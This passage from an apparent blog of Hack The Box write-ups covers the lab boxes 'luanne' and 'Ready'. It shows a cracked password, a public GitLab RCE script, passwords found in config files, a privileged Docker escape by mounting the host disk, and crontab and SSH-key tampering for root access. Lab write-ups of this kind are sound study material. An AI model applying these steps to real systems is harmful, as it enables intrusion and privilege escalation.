devel_backup-2020-09-16.tar.gz.enc \u0026ndash;output=/tmp/raj.tar.gz\ntar -xvf /tmp/raj.tar.gz\nIt also contained devel-2020-09-16/www/.htpasswd.\nIt cracked as follows.\nlittlebear\nsu could not switch users, so I was stuck again.\nDone.\nThere was a reason this scored 2.5. I do not know whether these were netbsd-specific behaviors or something else, but the box was extremely unpleasant to use. Its commands were completely different from the ones I knew, and its ways of getting a shell were bizarre. It did broaden my experience, but completing it felt awful. This was the most frustrating box yet.\nFinally, I revisited my earlier question. There was indeed a method.\nps aux | grep httpd\nI had overlooked ps at the time because this linux system seemed to lack every familiar command, and everything behaved differently.\nThis clearly showed that port 3001 had been started by r.michaels.\n30.Time The rating is a little low, so I am leaving this blank for now.\n31.Ready Information gathering:\nhttp://10.10.10.220:5080/dude/ready-channel\nAfter registering and entering, there was only one project.\nI examined it for a long time, but it seemed to be a distraction. Although the project was present, running:\ngrep -r \u0026lsquo;password\u0026rsquo; ./\ngrep -r \u0026lsquo;username\u0026rsquo; ./\nrevealed no information disclosure, nor any ssh keys.\ngoogle showed me how to check the version.\nThere were vulnerabilities after all.\nBut both appeared to fail. I found a script on github.\nhttps://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py\nThis one worked and exploited the target successfully.\nI started privilege escalation.\nThere was a root_pass file in the root directory, but it was not useful.\nYG65407Bjqvv9A0a8Tm_7w\nlinenum told us that we were in a docker container, and other methods confirmed the same thing. I thought the intended path was probably a docker escape.\nI tried many methods, but all said that my current account was not root and could not perform the operations. The first step therefore remained escalating to root.\nI found docker\u0026rsquo;s configuration files as well as gitlab\u0026rsquo;s.\nI ran cat gitlab.rb | grep passw against them one by one.\nEventually I found a password in gitlab.rb.\nI successfully switched to root.\nwW59U!ZKMbG9+*#h\nThe container ran in privileged mode, so a docker escape solved it directly.\nI had tested this while running as gitlab, but the mount failed because that account lacked sufficient privileges. Now it worked.\nRunning fdisk -l produced the following result.\nThe filesystem appeared to be the physical host\u0026rsquo;s disk. I only needed to mount it at the test directory under /tmp.\nmkdir /tmp/test \u0026amp;\u0026amp; mount /dev/sda2 /tmp/test\nI mainly followed this post:\nhttps://xz.aliyun.com/t/12495\nAfter mounting it, I could access it directly and retrieve the flag. But I still wanted proper root access.\nI discovered that I could not write data into the scheduled-task directory. It reported insufficient space at /tmp/test/var/spool/cron/root.\nIt was at 100%. I could delete data but could not write, so I searched google again.\nI deleted many things, but it still failed and reported that the disk was full.\nThere was already a root scheduled task under /tmp/test/var/spool/cron/crontabs, and this file was writable. I could append to or overwrite it. However, neither approach returned a shell. Writing a public key under root\u0026rsquo;s directory was also possible. After resetting the box, however, gitlab broke, and the platform would not let me reset it a second time so soon. Perhaps this happened because I overwrote /tmp/test/var/spool/cron/crontabs/root. It originally contained gitlab\u0026rsquo;s scheduled tasks; after I replaced it, those tasks were gone. Even resetting the box left it broken. This reset mechanism was rather ridiculous.\nAfter some time passed, I reset it again and it recovered.\nI found the private key and used it to connect.\nDone. Although this box was rated medium, I did not find it particularly hard. In comparison, the previous box, number 29, luanne, was rated easy but was actually extremely difficult.\nIts rating was also quite good, and it was an excellent box for broadening my experience.\n","date":"2024-11-10T15:15:00+08:00","permalink":"/p/hackthebox-linux-boxes/","title":"Hack The Box: Linux Box Notes"}]